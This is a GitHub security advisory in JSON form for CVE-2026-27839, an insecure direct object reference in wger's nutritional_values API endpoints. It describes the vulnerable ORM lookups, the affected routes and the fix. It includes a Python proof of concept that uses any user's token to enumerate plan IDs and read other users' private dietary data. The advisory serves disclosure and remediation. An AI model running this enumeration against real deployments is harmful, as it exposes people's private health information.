CVE-2026-27839: wger IDOR Vulnerability

{
  "schema_version" : "1.4.0",
  "id" : "GHSA-g8gc-6c4h-jg86",
  "modified" : "2026-04-15T20:41:30Z",
  "published" : "2026-02-26T22:15:51Z",
  "aliases" : [ "CVE-2026-27839" ],
  "summary" : "wger: IDOR in nutritional_values endpoints exposes private dietary data via direct ORM lookup",
  "details" : "## Summary\n\nThree `nutritional_values` action endpoints fetch objects via `Model.objects.get(pk=pk)` — a raw ORM call that bypasses the user-scoped queryset. Any authenticated user can read another user's private nutrition plan data, including caloric intake and full macro breakdown, by supplying an arbitrary PK.\n\n### Details\n\nDRF detail actions do not automatically apply queryset filtering — the action must call `self.get_object()` to enforce object-level permissions. These three endpoints skip that and go directly to the ORM:\n\n`wger/nutrition/api/views.py`:\n\n```python\n# line 301 — NutritionPlanViewSet\nplan = NutritionPlan.objects.get(pk=pk)           # VULNERABLE — no user check\n\n# line 356 — MealViewSet\nmeal = Meal.objects.get(pk=pk)                    # VULNERABLE\n\n# line 403 — MealItemViewSet\nmeal_item = MealItem.objects.get(pk=pk)           # VULNERABLE\n```\n\nThe correct pattern used in the same file at `LogItemViewSet` (line 438):\n\n```python\nLogItem.objects.get(pk=pk, plan__user=self.request.user)  # CORRECT\n```\n\nAffected endpoints:\n```\nGET /api/v2/nutritionplan/{pk}/nutritional_values/\nGET /api/v2/meal/{pk}/nutritional_values/\nGET /api/v2/mealitem/{pk}/nutritional_values/\n```\n\n### PoC\n\n```python\nimport requests\n\nBASE = \"http://localhost\"\n# Attacker's token (any registered user)\nheaders = {\"Authorization\": \"Token ATTACKER_TOKEN\"}\n\n# Read victim's nutrition plan — enumerate pk starting from 1\nfor pk in range(1, 100):\n    r = requests.get(\n        f\"{BASE}/api/v2/nutritionplan/{pk}/nutritional_values/\",\n        headers=headers\n    )\n    if r.status_code == 200:\n        data = r.json()\n        print(f\"Plan {pk}: {data}\")\n        # Returns: energy (kcal), protein, carbohydrates, carbohydrates_sugar,\n        #          fat, fat_saturated, fiber, sodium\n```\n\nNo interaction from the victim required. Registration is open by default. PKs are sequential integers.\n\n### Impact\n\nAny authenticated user can read other users' private dietary and health data:\n- Daily caloric intake\n- Protein, carbohydrate, fat, fiber, and sodium intake\n- Full meal composition and ingredient quantities\n\nThis data is sensitive health information users expect to be private.\n\n**Fix**: Replace direct ORM calls with `self.get_object()`, which applies the viewset's user-scoped queryset and object-level permissions automatically. Or add an explicit user filter: `NutritionPlan.objects.get(pk=pk, user=self.request.user)`.",
  "severity" : [ {
    "type" : "CVSS_V3",
    "score" : "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "PyPI",
      "name" : "wger"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "last_affected" : "2.1"
      } ]
    } ]
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/wger-project/wger/security/advisories/GHSA-g8gc-6c4h-jg86"
  }, {
    "type" : "ADVISORY",
    "url" : "https://nvd.nist.gov/vuln/detail/CVE-2026-27839"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/wger-project/wger/commit/29876a1954fe959e4b58ef070170e81703dab60e"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/wger-project/wger"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-639" ],
    "severity" : "MODERATE",
    "github_reviewed" : true,
    "github_reviewed_at" : "2026-02-26T22:15:51Z",
    "nvd_published_at" : "2026-02-26T23:16:35Z"
  }
}